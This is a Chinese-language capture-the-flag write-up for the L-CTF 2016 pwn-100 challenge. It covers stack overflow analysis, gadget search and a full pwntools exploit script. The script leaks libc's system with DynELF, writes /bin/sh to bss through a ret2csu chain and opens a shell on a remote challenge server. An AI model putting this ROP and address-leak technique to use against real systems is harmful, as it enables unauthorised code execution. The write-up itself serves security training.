pwn-100(L-CTF-2016)--write up

文件下载地址:

链接:https://pan.baidu.com/s/1SkbJmjnCtZETaafLEIUuLQ
提取码:wjb0

前言:风萧萧兮雨萧萧,忆君兮,不知。

0x01.分析

checksec:

pwn-100(L-CTF-2016)--write up_第1张图片

分析源码:

pwn-100(L-CTF-2016)--write up_第2张图片

pwn-100(L-CTF-2016)--write up_第3张图片

发现主要功能在sub_40063D,我们分析一下该函数,发现,该函数的功能是:向v1写满200字节,且一定要写满200字节才结束循环,发现v1是0x40,很明显栈溢出。

漏洞利用:

无system,无libc,无/bin/sh,但溢出函数可以循环利用,所以考虑使用DynELF泄露system的地址。

由于是64位程序,所以传参的时候要先考虑前六个寄存器,可以利用的函数为puts,但是要注意puts函数的特殊性,会受到/x00的影响,所以要进行一些特殊的处理。

为了将leak函数的address作为参数给puts,所以首先要,找到一个pop rdi,ret的小片段。

ROPgadget --binary pwn-100  --only 'pop|ret' | grep 'rdi'
0x0000000000400763 : pop rdi ; ret

得到system的地址后要向一个可写的地址写入/bin/sh,首先需要找到一个可写的地址。

vmmap
0x400000           0x401000 r-xp     1000 0      /home/atfwus/pwn/pwn-100
0x600000           0x602000 rw-p     2000 0      /home/atfwus/pwn/pwn-100

这里选用0x601000。

在写入/bin/sh和get shell的时候都需要用到64位常用的rop片段。

pwn-100(L-CTF-2016)--write up_第4张图片

0x02.exp

##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",52760)
#r=process('./pwn-100')
elf=ELF('./pwn-100')

rop1=0x40075A #6_pop_ret
rop2=0x400740 #rdx(r13) rsi(r14) edi(r15d)
pop_rdi=0x400763
start_addr=0x400550
puts_plt=elf.plt['puts']
read_got=elf.got['read']
binsh_addr=0x601000
fillchar='A'*0x48

def leak(address):
    payload=fillchar
    payload+=p64(pop_rdi)
    payload+=p64(address)
    payload+=p64(puts_plt)
    payload+=p64(start_addr)
    payload=payload.ljust(200,'A')
    r.send(payload)
    r.recvuntil("bye~\n")
    count=0
    content=''
    up=''
    while True:
        c=r.recv(numb=1,timeout=0.5)
        count+=1
        if up == '\n' and c == '':
            content=content[:-1]+'\x00'
            break
        else:
            content+=c
            up=c
    content=content[:4]
    log.info("%#x => %s" % (address,(content or '').encode('hex')))
    return content

d=DynELF(leak,elf=elf)
system_addr=d.lookup('system','libc')
print "system_addr", hex(system_addr)

print "----------write /bin/sh to bss----------"
payload=fillchar
payload+=p64(rop1)
payload+=p64(0)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(8)
payload+=p64(binsh_addr)
payload+=p64(1)
payload+=p64(rop2)
payload+='A'*56
payload+=p64(start_addr)
payload=payload.ljust(200,'A')
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")

print "-----------get shell----------"
payload=fillchar
payload+=p64(pop_rdi)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload=payload.ljust(200,'A')
r.send(payload)

r.interactive()

pwn-100(L-CTF-2016)--write up_第5张图片

0x03.未解决的问题

本地开启交互无法执行指令是咋回事??????

pwn-100(L-CTF-2016)--write up_第6张图片

你可能感兴趣的:(CTF-PWN,#,攻防世界-pwn,--,WriteUp)